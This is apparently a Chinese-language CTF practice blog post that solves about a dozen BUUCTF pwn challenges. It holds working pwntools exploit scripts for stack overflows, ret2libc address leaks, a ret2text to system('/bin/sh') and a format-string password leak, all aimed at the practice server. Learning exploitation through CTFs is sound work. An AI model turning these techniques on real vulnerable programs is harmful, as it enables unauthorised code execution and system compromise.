哈哈哈,我又来刷题了,看了下BUUCTF上面的pwn题还真多。。。
ida查看,发现直接执行system,所以,直接交互就可以
//写下简单的脚本
from pwn import *
p = remote('node3.buuoj.cn',28213)
p.interactive()
一道简单的栈溢出,但是远程有点问题?。。。所以,,,exp写的怪怪的。。。
没啥好说的
覆盖量为F+8=23
找system函数的时候,如果有参数的话,应该是去text段找,plt表里面的函数参数你懂的。。。还没传进来呢。。
由于远程有点问题,所以,emmm,一个可以得到flag 的方法是,先pop eip,然后再去执行system函数,,,不知道为什么这样好使。。正常来说,直接覆盖返回地址就好了,不要这样加一个pop eip
//exp:
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',27075)
sys_addr=0x0401186
retn_addr=0x0401185
#p.recvuntil("input")
payload='a'*23+p64(retn_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()
哈哈哈,自己解出来题目的感觉真好。。。差点去看writeup了。。。懒。
一样一样啦,不过没有开启nx(注意,接下来会用到),nx是堆栈不可执行
因为没有开启nx,所以栈上的数据我们是可以用的
程序很简单,覆盖量是0x40+0x8=0x48
看一下text段,发现有system函数,而且,参数看着不错??emm我直接传入这个函数地址了,但是没有用,应该这个参数没有用。。。我记的有的可以?所以,那就自己传参数呗,,,
传入栈的地址是0x40
ok,可以写exp了
from pwn import *
p=remote('node3.buuoj.cn',28749)
binsh_addr=0x40
sys_addr=0x40060D
p.recvuntil(">")
payload='/bin/sh'
payload=payload.ljust(0x48,'a')
payload+=p64(sys_addr)
p.sendline(payload)
p.interactive()
早上起来做了一道,emmm,题目简单,只是服务器还是不会发信息,直接发过去就好
32位的程序
我们需要覆盖的量是0x3c,但是我们只能输入32(0x20)的数据
但是程序可以将I转换成三个符号的'you',所以,就可以够用了
0x3c/3=20,也就是20个‘I’,然后在覆盖ebp,四个a,再覆盖返回地址
所以就可以写exp了
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',25555)
flag_addr=0x08048F0D
payload="I"*20+'aaaa'+p32(flag_addr)
#p.recvuntil("yourself:")
p.sendline(payload)
p.interactive()
64位的程序
很显然,我们只需要让v2等于11.825就可以
我们能控制的是v1,位置在rbp-30h
而v2的位置在rbp-4h
所以覆盖量为0x30-0x4=0x2c
有一个问题是,浮点数不能直接转换成字符串str(11.28125),需要找到11.28125在程序中的表示
这里也有一个在线工具:http://lostphp.com/hexconvert/
然后就直接把0x41348000再发过去就行了
exp如下:
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29320)
p.recvuntil('number')
payload='a'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()
32位程序
因为strlen遇到‘\x00’就会停止,所以我们输入的字符串以‘\x00’开头的话,那么v1=0,strncmp比较的就相等,为0,跳过了验证
buf的地址在-2c,返回值v5在-25h,所以,两者相差,我们只要覆盖7个地址,然后在最后一个覆盖很大,比如说‘\xff’就可以
所以,我们还需要上一个函数的返回值很大
这里进行栈溢出,因为程序没有后门函数,所以需要泄漏函数地址,计算偏移
泄漏write地址
‘a’*0xe7+'aaaa'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
偏移量 ebp 返回地址 write函数的返回地址 1表示输出 输出的内容 输出的长度
得到write函数地址:
write_addr=u32(p.recv(4))
计算基地址:libcbase=write_addr-libc.symbols['write']
计算出system和binsh的偏移
libc文件也是可执行文件,可以在ida里面运行
计算出system和binsh的地址
system_addr=system_base+libcbase
binsh_addr=binsh_base+libcbase
因为刚刚write函数的返回地址是main函数,会在执行一次,第一次还是发‘\x00’和’\xff‘
第二次,就可以偏移+ebp+system+system返回地址+参数得到flag了
exp如下:
#coding=utf-8
from pwn import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29248)
elf=ELF('./babyrop')
libc=ELF('./libc-2.23.so')
system_base=0x0003A940
binsh_base=0x015902b
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
payload2='a'*0xe7+'bbbb'+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))
libcbase=write_addr-libc.symbols['write']
sys_addr=libcbase+system_base
binsh_addr=libcbase+binsh_base
p.sendline(payload1)
p.recvuntil("Correct\n")
payload2='a'*0xe7+'bbbb'+p32(sys_addr)+p32(0x0)+p32(binsh_addr)
p.sendline(payload2)
p.interactive()
64位程序
一开始看到表单,,,吓死,,,结果发现只有功能一能用,,,
这里,会对我们输入的字符串进行加密,但是我们程序会利用两次,一次泄漏一个函数地址,另一个getshell,所以两次异或数据变回原数据,所以其实不用管,,,
这里,我们需要覆盖的长度为0x50+0x8
接收到字符串,我们可以先打印出来看一下
所以我们可以接收直到@,,,
接下来,就可以得到puts的地址,然后计算出偏移,找到system和binsh的地址,第二次就可以得到flag
exp
# encoding=utf-8
from pwn import *
sh = remote('node3.buuoj.cn',27706)
elf = ELF('./ciscn_2019_c_1')
start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']
sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts==>'+hex(puts_leak))
libc = ELF('./libc/libc-2.27.so')
libc_base = puts_leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + 0x001b3e9a
sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) +p64(0x0400C1C)+ p64(sys_addr)
sh.sendline(payload2)
sh.interactive()
和ciscn_2019_c_1这道题本质是一样的,直接把端口改一下,flag就可以出来,,
这道题,看着挺简单,,,稍后来写具体的writeup,
参考博客:
(1)https://www.cnblogs.com/bhxdn/p/12679290.html
(2)https://www.b1ndsec.cn/?p=371
有个地方不太懂得是,貌似都没又覆盖ebp?
静态链接,但是nx堆栈不可执行,但是静态链接里面有一个函数可以修改内存权限
学到的一个函数mprotect
函数原型:int mprotect(void * addr,size_t len,int prot);
addr 内存起始地址 ;
len 修改内存的长度
prot内存的权限
readelf -S get_started_3dsctf_2016 :可以查看各个段的基地址
【接下来,,,可能有很多不会,,就不放exp,主要是自己的一些学习心得】
这道题和HITCON-Training lab7一模一样,,,只是unk_804C044地址不一样
https://blog.csdn.net/qq_43935969/article/details/105135361
emmm,还有就是buuoj没有发字符,,,不用recvuntil了,直接sendline就行
#coding=utf-8
from pwn import *
p=remote('node3.buuoj.cn',27453)
#p=process('./crack')
password_addr=0x0804C044
#p.recvuntil("name ?")
payload=p32(password_addr)+"#"+"%10$s"+"#"#'#'是必须的,可能需要停顿一下?可以用别的字符
p.sendline(payload)
p.recvuntil("#")
io=p.recvuntil("#")
password=u32(io[:4])
#p.recvuntil("password :")
p.sendline(str(password))
p.interactive()
root@kali:~/buuc
还可以参考这篇:https://www.b1ndsec.cn/?p=368
它是字符串读入,直接把那个给改了
这道题,简单,不过自己十进制和十六进制有点混乱
只要将v[13]设置为17就行
这里17是十进制的
#coding=utf-8
from pwn import *
connect = 1#连接本地
fileName='ciscn_2019_n_8'#文件名
port='node3.buuoj.cn'#端口
ip=25793#IP地址
if connect:
p=remote(port,ip)
else :
p=process("./"+fileName+"")
p.recvuntil("?")
p.sendline('aaaa'*13+p32(0x11))
p.interactive()
【这篇博客有点长了,,,,前12道题,,,接下来重新开一篇新的】